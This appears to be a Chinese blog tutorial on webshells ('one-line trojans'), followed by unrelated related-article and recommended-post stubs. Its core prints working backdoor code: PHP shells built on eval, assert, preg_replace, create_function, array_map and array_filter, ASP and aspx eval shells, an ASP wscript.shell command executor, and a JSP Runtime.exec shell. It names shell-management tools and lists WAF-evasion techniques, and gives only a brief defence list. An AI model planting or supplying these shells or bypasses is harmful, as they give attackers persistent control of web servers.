Webshell介绍

什么是 WebShell

  • webshell就是以asp、php、jsp或者cgj等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门

  • 由于 webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具

  • 攻击者可以利用 webshell从而达到长期控制网站服务器的目的,并获得执行操作权

Webshell分类

一句话木马的执行过程

PHP中常见的代码执行函数

  • 执行函数与 Webshell的关系

    • PHP中可以执行代码的函数,常常被用来编写一句话木马 ,因此对代码执行函数做一些归纳
  • PHP中常见的代码执行函数

  • eval()、 assert()、 preg_replace()、create_function()

    • array_map()、call_user_func()、 call_user_func_array()、array_filter()
  • 命令执行函数

    • system()、exec()、 popen()、 passthru()、 shell_exec()、`

PHP Webshell

各个版本php支持函数如下

  • 5.x :eval / assert / preg_replace /e /create_function

  • 7.x :eval / assert

  • 8.x :eval

常用PHP函数版本Webshell

**// eval()函数**
<?php eval($_REQUEST["cmd"]);?> **// assert()函数**
<?php assert($_REQUEST["cmd"]);?> **// preg_replace()函数**
<?php @preg_replace("/abc/e",$_REQUEST['cmd'],"abc");?> **// create_function()函数**
<?php
$func = create_function('',$_REQUEST['cmd']);
$func();
?> **// array_map()函数**
<?php
//func=system&cmd=ipconfig
$func=$_REQUEST['func'];
$cmd=$_REQUEST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
?> **// array_filter函数**
<?php
//func=system&cmd=whoami
$cmd=$_REQUEST['cmd'];
$array1=array($cmd);
$func=$_REQUEST['func'];
array_filter($array1,$func);
?>

PHP 4种标记风格

php和其他几种web语言一样,都是使用一对标记将php代码部分包含起来,以便和html代码相区分,php一共4中标记风格

  1. xml风格(标准风格推荐使用)
<?php
echo "这是xml风格的标记";
?>
  • xml风格的标记是常用的标记,也是推荐使用的标记,服务器不能禁用,该风格的标记在xml,xhtml中都可使用。
  1. 脚本风格
<script languange="php">
echo'这是脚本风格的标记';
</script>
  1. 短标签风格
<? 这是简短风格的标记; ?>

注:需要在php.ini配置文件中开启short _open_tag=On ,默认关闭

  1. asp风格
<%
echo '这是asp风格的标记';
%>

注:需要在 php.ini 配置文件中开启 asp_tags = On ,默认关闭

  • 注:在以下情况应避免使用短标记:开发需要发行的程序或者库,或者在用户不能控制的服务器上开发。因为目标服务器可能不支持短标记。为了代码的移植及发行,确保不要使用短标记。

其他语言 Webshell

asp语言Webshell

// 菜刀可以连接的 Webshell
<%eval request("cmd")%>
<%execute request("cmd")%>
<%execute(request("cmd"))%>
<%executeGlobal request("cmd")%>
<%eval(Request(chr(35)))%> # ASCII码值 // 可以执行系统命令的 WebShell
<%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd").stdout.readall%>

aspx语言Webshell

<%@ Page Language="Jscript"%>
<%eval(Request.ltem["pass"],"unsafe");%> <%@ Page Language="Jscript" validateRequest="false" %>
<%Response.Write(eval(Request.ltem["pass"],"unsafe"));%>

jsp语言Webshell

// 执行系统命令且有回显
<% if("023".equals(request.getParameter("pwd"))){java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[]b= new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b,0,a));
}out.print("</pre>");
}%>

Webshell管理工具

  • 为什么使用 WebShel管理工具?

攻击者在入侵网站时,通常要通过各种方式写入 Webshell,从而获得服务器的控制权限,比如执行系统命令、读取配置文件等操作

  • 常见的 WebShel管理工具

蚁剑 (AntSword)

C刀 (Knife)

冰蝎 (Behinder)

  • 一款动态二进制加密 网站管理客户端

  • 冰蝎″目前最新版本为v3.0,兼容性已经日益完善,加密不再依赖 PHP opens$!展功能,同时支持了简单的ASP

  • 主体功能方面包括虚拟终端、 socks代理、文件管理、反弹she!数据库管理等,功能强大

  • github项目地址:https://github.com/rebeyond/behinder/releases

  • Webshell管理工具四大功能

Webshell变形

变形目的

  • waf通常以关键字 判断是否为一句话木马,但是一句话木马的变形有很多种,waf不可能全部拦截

  • 想要绕过waf,需要掌握各种PHP小技巧,把技巧结合起来,可以设计出属于自己的一句话木马

变形方法

  1. 利用str_replace() 函数

  1. 利用base64_decode() 函数

  1. 利用"."操作符

  1. 更换数据来源

  1. 替代标签

  1. 字符串组合法隐藏关键字

  1. 其他变形

Webshell变形总结

绕过技巧

  1. 更换执行数据来源

  2. 字符替换 或者编码

  3. 采取隐匿 手段

WebShell防御技巧

  1. 使用和及时更新防护类工具或产品

  2. 对服务器的文件夹设置严格的读写权限

  3. 在服务器中禁用一些敏感的危险函数 ,如命令执行 system() 等函数

  4. 定期检查系统进程,查看是否有可疑的进程

  5. 根据文件的创建日期观察系统目录下是否有近期新建的可执行文件

Webshell 一句话木马的更多相关文章

  1. 一句话木马和中国菜刀的结合拿webshell

    什么叫做一句话木马:     就是一句简单的脚本语言,一句话木马分为Php,asp,aspx等 中国菜刀:   连接一句话木马的工具 实验的目的:  通过一句话木马来控制我们的服务器,拿到webshe ...

  2. 一句话木马拿下webshell

    1.我们先建立一个简单的一句话木马文件,我们这里就命名为shell2吧. 2.因为提交的文件可能是有过滤的,我们这个靶场的这个题目就是禁止上传危险的文件类型,如jsp jar war等,所以就需要绕过 ...

  3. Webshell和一句话木马

    目录 Webshell(大马) 一句话木马(小马) 一句话木马原理 一句话木马的变形 JSP后门脚本 Webshell(大马) 我们经常会看到Webshell,那么,到底什么是Webshell呢? w ...

  4. webshell之一句话木马变形

    什么是一句话木马 一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能.为了绕过waf的检测,一句话木马出现了无数中变形,但本质是不变的:木马的函数执行了我们发送的命令. 我们如 ...

  5. 一句话木马的简单例子 网站webshell & 远程连接

    一  概述 本地 kail  linux 目标 windows nt 服务器 二 过程 首先编写一句话木马  index.php 一句话木马的原理就是把C=xxx 字符串当成php语句执行 注意这里用 ...

  6. 渗透技术--SQL注入写一句话木马原理

    讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子: SELECT * INTO OUTFILE 'C:\ ...

  7. 探索基于.NET下实现一句话木马之asmx篇

    0x01 前言 上篇介绍了一般处理程序(ashx)的工作原理以及实现一句话木马的过程,今天接着介绍Web Service程序 (asmx)下的工作原理和如何实现一句话木马,当然介绍之前笔者找到了一款a ...

  8. 探索基于.NET下实现一句话木马之ashx篇

    0x01 前言 在渗透测试的时候各种PHP版的一句话木马已经琳琅满目,而.NET平台下的一句话木马则百年不变,最常见的当属下面这句 笔者感觉有必要挖坑一下.NET平台里的一句话木马,经过一番摸索填坑终 ...

  9. 技术的正宗与野路子 c#, AOP动态代理实现动态权限控制(一) 探索基于.NET下实现一句话木马之asmx篇 asp.net core 系列 9 环境(Development、Staging 、Production)

    黄衫女子的武功似乎与周芷若乃是一路,飘忽灵动,变幻无方,但举手抬足之间却是正而不邪,如说周芷若形似鬼魅,那黄衫女子便是态拟神仙. 这段描写出自<倚天屠龙记>第三十八回. “九阴神抓”本是& ...

随机推荐

  1. JDK1.8源码(三)——java.lang.String类

    一.概述 1.介绍 String是一个final类,不可被继承,代表不可变的字符序列,是一个类类型的变量.Java程序中的所有字符串字面量(如"abc")都作为此类的实例实现,&q ...

  2. 简述编写Django应用的基本步骤

    (1)创建项目,cd到一个你想要放置你代码的目录.Django -admin startproject mysite. Django project即一个Django项目实例需要的设置项的集合,包括数 ...

  3. P3706-[SDOI2017]硬币游戏【高斯消元,字符串hash】

    正题 题目链接:https://www.luogu.com.cn/problem/P3706 题目大意 给出 \(n\) 个长度为 \(m\) 的 \(H/T\) 串. 开始一个空序列,每次随机在后面 ...

  4. MFC读写.txt文件时进度条显示实时进度

    整体实现方式:先获得文件长度,然后用每次读取的长度,计算出完成的百分比,用百分比的值设置进度条. 一.MFC进度条 Progress Control 相关函数 1. create() --创建Prog ...

  5. pycharm中安装扩展包

    在使用Pycharm编写代码时,如果遇到了所需要的扩展包没有的情况时,可以使用以下方法来添加自己需要的扩展包. 1.点击File->settings 2.选择Project Interprete ...

  6. Winform 实现图片轮播(解决Image.FromFile内存不足)

    前言 最近项目中需要在winform中做一个类似于网页那种轮播的效果,这里做下记录. 实现 整体的实现思路如下: 读取图片文件夹. 建立一个集合存储Image对象. 定时器定时更换PictrueBox ...

  7. Java-对象克隆

    1. 为什么要克隆 在java中,我们通过直接=等号赋值的方法来拷贝,如果是基本数据类型是没有问题的,例如 int i = 1; int j = 0; j = i; // 直接=等号赋值,这样是没有问 ...

  8. 简易集成websocket技术实现消息推送

    Websocket 简介 首先介绍下WebSocket,它是一种网络通信技术,该技术最大的特点就是,服务器端可以主动往客户端发送消息:当然,客户端也可以主动往服务器发送消息,实现两端的消息通信,属于网 ...

  9. 利用OpenCV存储一段视频中的每一帧

    // vfc.cpp : 定义控制台应用程序的入口点.#include "stdafx.h"#include <opencv2/highgui/highgui.hpp> ...

  10. 高德最佳实践:Serverless 规模化落地有哪些价值?

    作者 | 何以然(以燃) 导读:曾经看上去很美.一直被观望的 Serverless,现已逐渐进入落地的阶段.今年的"十一出行节",高德在核心业务规模化落地 Serverless,由 ...